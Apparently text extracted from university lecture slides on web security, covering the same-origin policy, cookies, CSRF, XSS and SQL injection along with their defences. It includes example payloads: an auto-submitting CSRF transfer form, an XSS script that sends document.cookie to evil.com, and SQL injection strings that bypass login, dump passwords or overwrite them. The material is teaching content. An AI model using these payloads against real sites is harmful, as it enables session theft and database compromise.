2550 Intro to cybersecurity L24: Web Exploits

abhi shelat

Today's plan

Focus on the Client

- Your browser stores a lot of sensitive information
 - Your browsing history
 - Saved usernames and passwords
 - Saved forms (i.e. credit card numbers)
 - Cookies (especially session cookies)



Focus on the Client

- Your browser stores a lot of sensitive information
 - Your browsing history
 - Saved usernames and passwords
 - Saved forms (i.e. credit card numbers)
 - Cookies (especially session cookies)
- Browsers try their hardest to secure this information
 - i.e. prevent an attacker from stealing this information
- Classic security story: convenience vs usability tradeoff

Attacker Model

Network manipulator





Curious querier

Threat Model Assumptions

- DNS is trustworthy
 - No DNS spoofing or Kaminsky
- TLS and CAs are trustworthy
 - No Beast, POODLE, or stolen certs
- Scripts cannot escape browser sandbox
 - SOP restrictions are faithfully enforced
- Browser/plugins are free from vulnerabilities
 - Not realistic, drive-by-download attacks are very common
 - But, this restriction forces the attacker to be more creative ;)

ities s are very common to be more creative :

Web Threat Model

- Attacker's goal:
- Steal information from your browser (i.e. your session cookie for bofa.com) • Browser's goal: isolate code from different origins
 - Don't allow the attacker to exfiltrate private information from your browser
- Attackers capability: trick you into clicking a link
 - May direct to a site controlled by the attacker
 - May direct to a legitimate site (but in a nefarious way...)

Windows, Frames, Origins



Frames can access resources of its own origin.

Each page of a frame has an origin

Windows, Frames, Origins



Q: can frame A execute javascript to manipulate DOM elements of B?

Each page of a frame has an origin

Frames can access resources of its own origin.

Same Origin Policy

Origin = <protocol, hostname, port>

- from another origin
- This applies to JavaScript
- JS from origin D cannot access objects from origin D' lacksquare
 - E.g. the iframe example
- However, JS included in D can access all objects in D ullet
 - E.g. <script src='https://code.jquery.com/jquery-2.1.3.min.js'></script>

• The Same-Origin Policy (SOP) states that subjects from one origin cannot access objects

Except for:

<form>

<script>

<jsonp>



As the user navigates a website, STATE information is generated.

Eg: Authentication information for a session.



0	1
۵	4
ler1	
-	

Issue: How to manage state information over HTTP?

Cookies

- Introduced in 1994, cookies are a basic mechanism for persistent state Allows services to store a small amount of data at the client (usually ~4K) • Often used for identification, authentication, user tracking
- Attributes
 - Domain and path restricts resources browser will send cookies to • Expiration sets how long cookie is valid

 - Additional security restrictions (added much later): HttpOnly, Secure
- Manipulated by Set-Cookie and Cookie headers

Client Side



HTTP/1.1 200 OK

Server Side

GET /login_form.html HTTP/1.1





Client Side









If credentials are correct:

- Generate a random token
- 2. Store token in the database
- 3. Send token to the client











If credentials are correct:

- L. Generate a random token
- 2. Store token in the database
- 3. Send token to the client















Server Side GET /login_form.html HTTP/1.1 HTTP/1.1 200 OK **POST /cgi/login.sh HTTP/1.1** If credentials are correct: HTTP/1.1 302 Found Generate a random token Set-Cookie: session=FhizeVYSkS7X2K 2. Store token in the database Send token to the client 3. GET /private_data.html HTTP/1.1 **Cookie:** session=FhizeVYSkS7X2K; 1. Check token in the database If it exists, user is authenticated HTTP/1.1 200 OK GET /my_files.html HTTP/1.









POST /wp-login.php HTTP/I.I

HTTP/I.I 200



Set-cookie: .X.

GET /admin.php HTTP/1.1

cookie: .X.

website





Cookie Exfiltration

- DOM API for cookie access (document.cookie)
 - Often, the attacker's goal is to exfiltrate this property
 - Why?

Cookie Exfiltration

- DOM API for cookie access (document.cookie)
 - Often, the attacker's goal is to exfiltrate this property
 - Why?
- Exfiltration is restricted by SOP...somewhat
 - Suppose you click a link directing to evil.com
 - JS from evil.com cannot read cookies for bofa.com \bullet
- What about injecting code?
 - easy (see above)

• If the attacker can somehow add code into *bofa.com*, the reading and exporting cookies is

Third-party cookies, tracking

Visit <u>A.com</u> first.



Third-party cookies, tracking

Visit <u>A.com</u> first.



Visit c.com next.



Cookies: {<u>a.com</u>: 1, <u>b.com</u>:2}

Console

Firefox	File	Edit	View	History	Bookmarks	Tools	Window	Help			
		ا 🍅	New Tab		× -	Dowı Add-	nloads ons	ዤJ ጉዤA			
\leftarrow	G	ŵ	Q Se	arch or en	iter address	Sync	Now		⊻ III\ ⊡ =: 	47 0	(5
						Web	Developer		✓ Toggle Tools	۲ 第۱	
				Page In				жı	Inspector	₹₩C	
									Web Console	~τ β κ	
									Debugger	∼∺z	
									Network	∼ິສຬ	
									Style Editor	企F7	
									Performance	압F5	
							<u> </u>		Storage Inspector		
								•	Accessibility		
								-Ire	Remote Debugging		
							_		Browser Console	<mark>ፚ</mark> ፝፝፝፝፝፝፝፝፝	
									Responsive Design Mode	ΣЖМ	
									Eyedropper		
									Page Source	χU	
			Qs	earch the	e Web				Get More Tools		\rightarrow



LR	inspector ب	Console	Debugger	Style Editor	(2) Performance	A Memory	I ↓ Networ	κ⊡	Storage	AC	cessic	onity T	what	s new	
Ŵ	🗑 Filter Output							Errors	Warnings	Logs	Info	Debug	CSS	XHR	Rec
»															



Examples

Blocking



Cross-site Request Forgery (CSRF) attack

Cross-site Request Forgery (CSRF) attack

I.Assume victim has google/fbook/twitter cookies already setup.

2. Victim visits ATTACKER page.

3. ATTACKER page HTML causes a request to google/... this request uses Victims google/ cookie jar

- request unknowingly changes state of victim's account







Form post with cookie

GET /blog HTTP/1.1



www.attacker.com

<form action=https://www.bank.com/transfer method=POST target=invisibleframe> <input name=recipient value=attacker> <input name=amount value=\$100> </form> <script>document.forms[0].submit()</script>

POST /transfer HTTP/1.1 Referer: http://www.attacker.com/blog -copient=attacker&amount=91 Cookie: SessionID=523FA4cd2E

Victim Browser

User credentials



Drive-by Pharming



(Stamm & Ramzan)



http://pcsupport.about.com/od/linksys-default-passwords/a/wrt54g-default-password.htm

Looking for the Linksys WRT54G default password? You probably have little reason to access your<u>router</u> on a regular basis so don't feel too bad if you've forgotten the WRT54G default password.

For most versions of the Linksys WRT54G, the default password is *admin*. As with most passwords, the WRT54G default password is <u>case sensitive</u>.

In addition to the WRT54G default password, you can also see the WRT54G default username and WRT54G default <u>IP address</u> in the table below.





Drive-by Pharming



(Stamm & Ramzan)

"Use DNS <attacker.ip>"


Sponsored by DHS National Cyber Security Division/US-CERT National Vulnerability Database										
Vulnerabilities	Checklis	sts 800-53/800-53A	Product Dictionary	Impact Metric	s I	Data Feeds	Statistics			
Home SCAP		SCAP Validated Tools	SCAP Events	About	Contact	Vendor Comm	ents			
Mission and Over	view	Search Results (Refi	ne Search)							
NVD is the U.S. government repository of standards based vulnerability management data. This data enables automation of vulnerability management, security measurement, and compliance (e.g. FISMA).		There are 563 matching records. Displaying matches 1 through 20 .								
		1 <u>2</u> <u>3</u> <u>4</u> <u>5</u> <u>6</u> <u>7</u> <u>8</u> <u>9</u> <u>10</u> <u>11</u> <u>></u> <u>>></u>								
		CVE-2012-4893								
		VU#788478								
		Summary: Multiple cross-site request forgery (CSRF) vulnerabilities in file/show.cgi in Webmin 1.590 and earlier allow remote attackers to hijack the authentication of privileged users for requests that (1) read files or execute (2) tar, (3) zip, or (4) gzip commands, a different issue than CVE-2012-2982. Published: 09/11/2012								
Resource Status		CVSS Severity: 6.8 (MEDIU	JM)							
NVD contains: 52799 <u>CVE Vulnerabilities</u> 202 <u>Last Magated:</u> 202 <u>Last Magated:</u> 202 <u>Last Magated:</u> 202 <u>Last Magated:</u> 202 <u>Last Magated:</u> 202 <u>Last Magated:</u> 202 <u>Last Magated:</u> 203 <u>La</u>		CVE-2012-4890								
		Summary: Multiple cross-site scripting (XSS) vulnerabilities in FlatnuX CMS 2011 08.09.2 and earlier allow remote attackers to inject arbitrary web script or HTML via a (1) comment to the news, (2) title to the news, or (3) the folder names in a gallery. Published: 09/10/2012								
		CVSS Severity: 4.3 (MEDIUM)								
		CVE-2012-0714								
		Summary: Cross-site requ	est forgery (CSRF) vulne	rability in IBM	Maximo /	Asset Manageme	nt 6.2 through			
Email List		7.5, as used in SmartCloud	Control Desk, Tivoli Asse	et Managemen	t for IT, T	ivoli Service Rec	quest Manager,			
NVD provides four mailing lists to the public. For information		attackers to hijack the authentication of unspecified victims via unknown vectors. Published: 09/10/2012								

CVSS Severity: 6.8 (MEDIUM)

and subscription

instructions please visit

<u>http://web.nvd.nist.gov/view/vuln/search-results?query=csrf&search_type=all&cves=on</u>

CSRF defenses

Secure Token:

Referer Validation:

Custom Headers:

<input type="hidden" id="ipt_nonce" name="ipt_nonce" value="99ed897af2">

<input type="hidden" id="ipt_nonce" name="ipt_nonce" value="99ed897af2" />

CSRF Recommendations

Login CSRF

- Strict Referer/Origin header validation Login forms typically submit over HTTPS, not blocked
- HTTPS sites, such as banking sites
 - Use strict Referer/Origin validation to prevent CSRF



Use Ruby-on-Rails or other framework that implements secret token method correctly

Origin header

- Alternative to Referer with fewer privacy problems
- Send only on POST, send only necessary data
- Defense against redirect-based attacks

Cross-Site Scripting (XSS)

Threat Model Reflected and Stored Attacks Mitigations

hello.cgi

IF param[:name] is set PRINT "<html>Hello" + param[:name] + "</html>" ELSE PRINT "<html> Hello there </html>

<u>http://foolish.com/hello.cgi?name=abhi</u>

What can go wrong?

Suppose we can convince VICTIM to run our Javascript code.

How can we steal the VICTIM's cookies?



2. victim visits attack.com



I.good.com sets a cookie



			1
	۰.		•
00			1
renticed			
sutiful free			
ehen lable to lion			
al			
Users			
Y.			
>			
k Dimes			
s more			
	-	C2.7mg	

XSS main problem

Data that is dynamically written into as webpage is inadvertently interpreted as javascript code.

This attacker code run in a different origin.

Cross-Site Scripting (XSS)

- XSS refers to running code from an untrusted origin
 - Usually a result of a document integrity violation ullet
- Documents are compositions of trusted, developer-specified objects and untrusted input
 - Allowing user input to be interpreted as document structure (i.e., elements) can lead to \bullet malicious code execution
- Typical goals
 - Steal authentication credentials (session IDs)
 - Or, more targeted unauthorized actions \bullet



Types of XSS

- Reflected (Type 1)
 - Code is included as part of a malicious link
 - Code included in page rendered by visiting link ●
- Stored (Type 2)
 - Attacker submits malicious code to server ullet
 - Server app persists malicious code to storage
 - Victim accesses page that includes stored code
- DOM-based (Type 3)
 - Purely client-side injection \bullet

• Suppose we have a search site, <u>www.websearch.com</u>

http://www.websearch.com/search?q=good news

Web Search

Results for: good news

Some good news http://youtube.com/sgn



• Suppose we have a search site, <u>www.websearch.com</u>







Web Search

Results for:



http://www.websearch.com/search?q=









<iframe src="bank.com?name=<script>d.write('<img</pre> src=evil.com?'+doc.cookie')</script>

Attempt to load image leaks secret cookie



bank.com?name=<script...>

Name param is injected into browser, interpreted as js.

<img src=evil.com?<secret cookie>

Suppose we have a social network, <u>www.friendly.com</u>

friendly

What's going on?

I hope you like pop-tarts ;)

img.com/nyan.jpg ')"</script>



Suppose we have a social network, <u>www.friendly.com</u>



Latest Status Updates



I hope you like pop-tarts ;) Monday, March 23, 2015



<script>document.write('');</script>





Origin: www.friendly.com session=xl4f-Qs02fd





<script>document.write('');</script>

1) Post malicious JS to profile





Origin: www.friendly.com session=xl4f-Qs02fd





2) Send link to attacker's

Profile to the victim

<script>document.write('');</script>

1) Post malicious JS to profile

Origin: www.friendly.com session=xl4f-Qs02fd





2) Send link to attacker's

profile to the victim

<script>document.write('');</script>

1) Post malicious JS to profile

Origin: www.friendly.com session=xI4f-Qs02fd







Mitigating XSS Attacks

- Client-side defenses
 - 1. Cookie restrictions HttpOnly and Secure
 - 2. Client-side filter X-XSS-Protection
 - Enables heuristics in the browser that attempt to block injected scripts
- Server-side defenses
 - 3. Input validation

x = request.args.get('msg')

if not is_valid_base64(x): abort(500)

4. Output filtering

<div id="content">{{sanitize(data)}}</div>

HttpOnly Cookies

- One approach to defending against cookie stealing: HttpOnly cookies
 - Server may specify that a cookie should not be exposed in the DOM
 - But, they are still sent with requests as normal
- Not to be confused with Secure
 - Cookies marked as Secure may only be sent over HTTPS
- Website designers should, ideally, enable both of these features

ie stealing: HttpOnly cookies d not be exposed in the DOM normal

HttpOnly Cookies

- One approach to defending against cookie stealing: HttpOnly cookies
 - Server may specify that a cookie should not be exposed in the DOM
 - But, they are still sent with requests as normal
- Not to be confused with Secure
 - Cookies marked as Secure may only be sent over HTTPS
- Website designers should, ideally, enable both of these features
- Does HttpOnly prevent all attacks?

ie stealing: HttpOnly cookies d not be exposed in the DOM normal

HttpOnly Cookies

- One approach to defending against cookie stealing: HttpOnly cookies
 - Server may specify that a cookie should not be exposed in the DOM
 - But, they are still sent with requests as normal
- Not to be confused with Secure
 - Cookies marked as Secure may only be sent over HTTPS
- Website designers should, ideally, enable both of these features
- Does HttpOnly prevent all attacks?
 - Of course not, it only prevents cookie theft
 - Other private data may still be exfiltrated from the origin

ie stealing: HttpOnly cookies d not be exposed in the DOM normal

heft ed from the origin

Client-side XSS Filters

HTTP/1.1 200 OK ... other HTTP headers... X-XSS-Protection: 1; mode=block

POST /blah HTTP/1.1 ... other HTTP headers...

to=dude&msg=<script>...</script>

Client-side XSS Filters

HTTP/1.1 200 OK ... other HTTP headers... X-XSS-Protection: 1; mode=block

POST /blah HTTP/1.1 ... other HTTP headers...

to=dude&msg=<script>...</script>

- Browser mechanism to filter "script-like" data sent as part of requests
 - i.e., check whether a request lacksquareparameter contains data that looks like a reflected XSS
- Enabled in most browsers
 - Heuristic defense against reflected XSS
- Would this work against other XSS types?



Document Integrity

- Another defensive approach is to ensure that untrusted content can't modify document structure in unintended ways
 - Think of this as sandboxing user-controlled data that is interpolated into documents
 - Must be implemented server-side
 - You as a web developer have no guarantees about what happens client-side
- Two main classes of approaches
 - Input validation
 - Output sanitization

Input Validation

x = request.args.get('msg')

if not is_valid_base64(x): abort(500)

- Goal is to check that application inputs are "valid"
 - Request parameters, header data, posted data, etc.
- Assumption is that well-formed data should also not contain attacks
 - Also relatively easy to identify all inputs to validate
- However, it's difficult to ensure that valid == safe
 - Much can happen between input validation checks and document interpolation

Output Sanitization

<div id="content">{{sanitize(data)}}</div>

- Another approach is to sanitize untrusted data during interpolation
 - Remove or encode special characters like '<' and '>', etc.
 - Easier to achieve a strong guarantee that script can't be injected into a document
 But, it can be difficult to specify the capitization policy (coverage, exceptions)
 - But, it can be difficult to specify the sanitization policy (coverage, exceptions)
- Must take interpolation context into account
 - CDATA, attributes, JavaScript, CSS
 - Nesting!
- Requires a robust browser model

Challenges of Sanitizing Data

<div id="content"> <h1>User Info</h1> Hi {{user.name}} </div>

```
<script>
  $.get('/user/status/{{user.id}}', function(data) {
    $('#status').html('You are now ' + data.status);
  });
</script>
```

Challenges of Sanitizing Data

<div id="content"> <h1>User Info</h1> Hi {{user.name}} </div>

<script> \$.get('/user/status/{{user.id}}', function(data) { \$('#status').html('You are now ' + data.status); **});** </script>

HTML Sanitization

Attribute Sanitization

Script Sanitization

Challenges of Sanitizing Data

<div id="content"> <h1>User Info</h1> Hi {{user.name}} </div>

<script> \$.get('/user/status/{{user.id}}', function(data) { \$('#status').html('You are now ' + data.status); **});** </script>



Attribute Sanitization

Script Sanitization

Was this sanitized by the server?

Structured Query Language (SQL) CREATE, INSERT, UPDATE

SELECT

Web Architecture circa-2015

Protocols

FTP HTTP 1.0/1.1 HTTP 2.0 SSL and TLS Websocket



Server Side

Web Architecture circa-2015

Protocols

FTP HTTP 1.0/1.1 HTTP 2.0 SSL and TLS Websocket



Server Side
SQL

- Structured Query Language
 - Relatively simple declarative language
 - Define relational data
 - Operations over that data
- Widely supported: MySQL, Postgres, Oracle, sqlite, etc.
- Why store data in a database?
 - Persistence DB takes care of storing data to disk
 - Concurrency DB can handle many requests in parallel
 - Transactions simplifies error handling during complex updates

SQL Operations

- Common operations:
 - CREATE TABLE makes a new table
 - INSERT adds data to a table
 - UPDATE modifies data in a table
 - DELETE removes data from a table
 - SELECT retrieves data from one or more tables
- Common SELECT modifiers:
 - ORDER BY sorts results of a query
 - UNION combines the results of two queries

CREATE

• Syntax

CREATE TABLE name (column1_name *type*, column2_name *type*, ...);

- Data types
 - TEXT arbitrary length strings
 - INTEGER
 - REAL floating point numbers
 - BOOLEAN

CREATE

• Syntax

CREATE TABLE name (column1_name *type*, column2_name *type*, ...);

- Data types
 - TEXT arbitrary length strings
 - INTEGER
 - REAL floating point numbers
 - BOOLEAN
- Example

name (string) People:

CREATE TABLE people (name TEXT, age INTEGER, employed BOOLEAN);



INSERT

- Syntax
 - INSERT INTO name (column1, column2, ...) VALUES (val1, val2, ...);
- Example

INSERT INTO people (name, age, employed) VALUES ("abhi", 78, True);

name (string) People:

age (integer)

employed (boolean)

INSERT

- Syntax
 - INSERT INTO name (column1, column2, ...) VALUES (val1, val2, ...);
- Example
 - INSERT INTO people (name, age, employed) VALUES ("abhi", 78, True);

People:	name (string)	age (integer)	employed (boolean)
	Abhi	78	True

UPDATE

- Syntax
 - UPDATE name SET column1=val1, column2=val2, ... WHERE condition;
- Example
 - UPDATE people SET age=42 WHERE name="Bob";

People:	name (string)	age (integer)	employed (boolean)
	Abhi	78	True
	Alice	29	True
	Bob	41	False

UPDATE

- Syntax
 - UPDATE name SET column1=val1, column2=val2, ... WHERE condition;
- Example
 - UPDATE people SET age=42 WHERE name="Bob";

People:	name (string)	age (integer)	employed (boolean)
	Abhi	78	True
	Alice	29	True
	Bob	42	False

- Syntax
- Example

SELECT * FROM people;

People:	name (string)	age (integer)	employed (boolean)
	Abhi	78	True
	Alice	29	True
	Bob	41	False

- Syntax
- Example

SELECT * FROM people; SELECT name, age FROM people;

People:	name (string)	age (i
	Abhi	78
	Alice	29
	Bob	41



- Syntax
- Example

SELECT * FROM people; SELECT name, age FROM people; SELECT * FROM people WHERE name="abhi" OR name="Alice";

People:	name (string)	age (integer)	employed (boolean)
	Abhi	78	True
	Alice	29	True

- Syntax
- Example

SELECT * FROM people; SELECT name, age FROM people; SELECT * FROM people WHERE name="abhi" OR name="Alice"; SELECT name FROM people ORDER BY age;

People:	name (string)
	Alice
	Bob
	Abhi

UNION

- Syntax
- Example

SELECT * FROM people UNION SELECT * FROM dinosaurs;

People:	name (string)	age (integer)	employed (boolean)
	Abhi	78	True
	Alice	29	True

SELECT col1, col2, ... FROM name1 UNION SELECT col1, col2, ... FROM name2;

UNION

- Syntax
- Example

SELECT * FROM people UNION SELECT * FROM dinosaurs;

People:	name (string)	age (integer)	employed (boolean)
	Abhi	78	True
	Alice	29	True
	name (string)	weight (integer)	extinct (boolean)
	Tyrannosaurus	14000	True
	Brontosaurus	15000	True

SELECT col1, col2, ... FROM name1 UNION SELECT col1, col2, ... FROM name2;

UNION

- Syntax
- Example

SELECT * FROM people UNION SELECT * FROM dinosaurs;

People:	name (string)	age (integer)	employed (boolean)	
	Abhi Alice	78 29	True True	Note: number columns must m
	name (string)	weight (integer)	extinct (boolean)	column types
	Tyrannosaurus	14000	True	
	Brontosaurus	15000	True	

SELECT col1, col2, ... FROM name1 UNION SELECT col1, col2, ... FROM name2;



Comments

Syntax

command; -- comment

• Example

SELECT * FROM people; -- This is a comment

People:	name (string)	age (integer)	employed (boolean)
	Abhi	78	True
	Alice	29	True
	Bob	41	False

SQL Injection

Blind Injection Mitigations

SQL Injection

SQL queries often involve untrusted data

- App is responsible for interpolating user data into queries
- Insufficient sanitization could lead to modification of query semantics

Possible attacks

- Confidentiality modify queries to return unauthorized data • Integrity – modify queries to perform unauthorized updates • Authentication – modify query to bypass authentication checks

Server Threat Model

Attacker's goal:

- Steal or modify information on the server Server's goal: protect sensitive data
 - Integrity (e.g. passwords, admin status, etc.)
 - Confidentiality (e.g. passwords, private user content, etc.)
- Attacker's capability: submit arbitrary data to the website
 - POSTed forms, URL parameters, cookie values, HTTP request headers

Threat Model Assumptions

Web server is free from vulnerabilities

- Apache and nginx are pretty reliable No file inclusion vulnerabilities Server OS is free from vulnerabilities
 - No remote code exploits

Remote login is secured

• No brute forcing the admin's SSH credentials

Website Login Example

Client-side



Server-side

if flask.request.method == 'POST': db = get db()cur = db.execute(select * from user tbl where user="%s" and pw="%s";' % (flask.request.form['username'], flask.request.form['password'])) user = cur.fetchone() if user == None: error = 'Invalid username or password' else:

'select * from user_tbl where user="%s" and pw="%s";'

form['username']	form['password']	Resulting que

ry



'select * from user_tbl where user="%s" and pw="%s";'

form['username']	form['password']	Resulting que
alice	123456	' where u
bob	qwerty1#	' where u

user="alice" and pw="123456";'

user="bob" and pw="qwery1#";'



'select * from user_tbl where user="%s" and pw="%s";'

form['username']	form['password']	Resulting que
alice	123456	where ι
bob	qwerty1#	where ι
goofy	a"bc	where ι

user="alice" and pw="123456";'

user="bob" and pw="qwery1#";'

user="goofy" and pw="a"bc";'



'select * from user_tbl where user="%s" and pw="%s";'

form['username']	form['password']	Resulting que
alice	123456	where ι
bob	qwerty1#	where ι
goofy	a"bc	where ι





'select * from user_tbl where user="%s" and pw="%s";'

form['username']	form['password']	Resulting que
alice	123456	where ι
bob	qwerty1#	' where u
goofy	a"bc	' where u
weird	abc" or pw="123	' where u

user="alice" and pw="123456";' user="bob" and pw="qwery1#";' user="goofy" and pw="a"bc";' user="weird" and pw="abc" or pw="123";'



'select * from user_tbl where user="%s" and pw="%s";'

form['username']	form['password']	Resulting que
alice	123456	' where ι
bob	qwerty1#	where ι
goofy	a"bc	where ι
weird	abc" or pw="123	where ι
eve	" or 1=1;	where ι

user="alice" and pw="123456";' user="bob" and pw="qwery1#";' user="goofy" and pw="a"bc";' user="weird" and pw="abc" or pw="123";' user="eve" and pw="" or 1=1; --";'



'select * from user tbl where user="%s" and pw="%s";'

form['username']	form['password']	Resulting que
alice	123456	' where ι
bob	qwerty1#	where ι
goofy	a"bc	where ι
weird	abc" or pw="123	where ι
eve	" or 1=1;	where ι



'select * from user_tbl where user="%s" and pw="%s";'

form['username']	form['password']	Resulting query
alice	123456	' where user="alice" and pw="123456";'
bob	qwerty1#	' where user="bob" and pw="qwery1#";'
goofy	a"bc	' where user="goofy" and pw="a"bc";'
weird	abc" or pw="123	' where user="weird" and pw="abc" or pw="123";'
eve	" or 1=1;	' where user="eve" and pw="" or 1=1;";'
mallory";		' where user="mallory";" and pw="";'



'select * from user tbl where user="%s" and pw="%s";'

form['username']	form['password']	Resulting que
alice	123456	where ι
bob	qwerty1#	where ι
goofy	a"bc	where ι
weird	abc" or pw="123	where ι
eve	" or 1=1;	where ι
mallory";		where ι



user="alice" and pw="123456";'

user="bob" and pw="qwery1#";'









Blind SQL Injection

Basic SQL injection requires knowledge of the schema

- e.g., knowing which table contains user data...
- And the structure (column names) of that table

Blind SQL injection leverages information leakage

• Used to recover schemas, execute queries

Requires some observable indicator of query success or failure • e.g., a blank page (success/true) vs. an error page (failure/false)

Leakage performed bit-by-bit

Original query:

"SELECT name, description FROM items WHERE id=" + req.args.get('id', '') + ""

Original query:

Result after injection:

- "SELECT name, description FROM items WHERE id=" + req.args.get('id', ") + ""
 - SELECT name, description FROM items WHERE id='12' UNION SELECT username, passwd FROM users;--';

Original query:

Result after injection:

Original query:

- "SELECT name, description FROM items WHERE id=" + req.args.get('id', ') + ""
 - SELECT name, description FROM items WHERE id='12' UNION SELECT username, passwd FROM users;--';
- "UPDATE users SET passwd=" + req.args.get('pw', ") + " WHERE user=" + req.args.get('user', ")

Original query:

Result after injection:

Original query:

Result after injection:

- "SELECT name, description FROM items WHERE id=" + req.args.get('id', ') + ""
 - SELECT name, description FROM items WHERE id='12' UNION SELECT username, passwd FROM users;--';
- "UPDATE users SET passwd=" + req.args.get('pw', ") + " WHERE user=" + req.args.get('user', ")

UPDATE users SET passwd='...' WHERE user='dude' OR 1=1;--';
SQL Injection Examples

Original query:

Result after injection:

Original query:

Result after injection:

- "SELECT name, description FROM items WHERE id=" + req.args.get('id', ') + ""
 - SELECT name, description FROM items WHERE id='12' UNION SELECT username, passwd FROM users;--';
- "UPDATE users SET passwd=" + req.args.get('pw', ") + " WHERE user=" + req.args.get('user', ")

UPDATE users SET passwd='...' WHERE user='dude' OR 1=1;--';

SQL Injection Examples

Original query:

Result after injection:

Original query:

Result after injection:

• Similarly to XSS, problem often arises when delimiters are unfiltered

- "SELECT name, description FROM items WHERE id=" + req.args.get('id', ') + ""
 - SELECT name, description FROM items WHERE id='12' UNION SELECT username, passwd FROM users;--';
- "UPDATE users SET passwd=" + req.args.get('pw', ") + " WHERE user=" + req.args.get('user', ")

UPDATE users SET passwd='...' WHERE user='dude' OR 1=1;--';

SQL Injection Examples

Original query:

SELECT * FROM users WHERE id=\$user_id;

Result after injection: SELECT * FROM users WHERE id=1 UNION SELECT ... --;

 Vulnerabilities also arise from improper validation • e.g., failing to enforce that numbers are valid

SQL Injection Defenses

SELECT * FROM users WHERE user='{{sanitize(\$id)}}';

- Sanitization
- Prepared statements
 - Trust the database to interpolate user data into queries correctly
- Object-relational mappings (ORM)
 - Libraries that abstract away writing SQL statements
 - Java Hibernate
 - Python SQLAlchemy, Django, SQLObject
 - Ruby Rails, Sequel
 - Node.js Sequelize, ORM2, Bookshelf
- Domain-specific languages
 - LINQ (C#), Slick (Scala), ...

What About NoSQL?

Term for non-SQL databases

- Typically do not support relational (tabular) data
- Use much less expressive and powerful query languages

Are NoSQL databases vulnerable to injection?



What About NoSQL?

Term for non-SQL databases

- Typically do not support relational (tabular) data
- Use much less expressive and powerful query languages

Are NoSQL databases vulnerable to injection?

- YES
- All untrusted input should always be validated and sanitized
 - Even with ORM and NoSQL

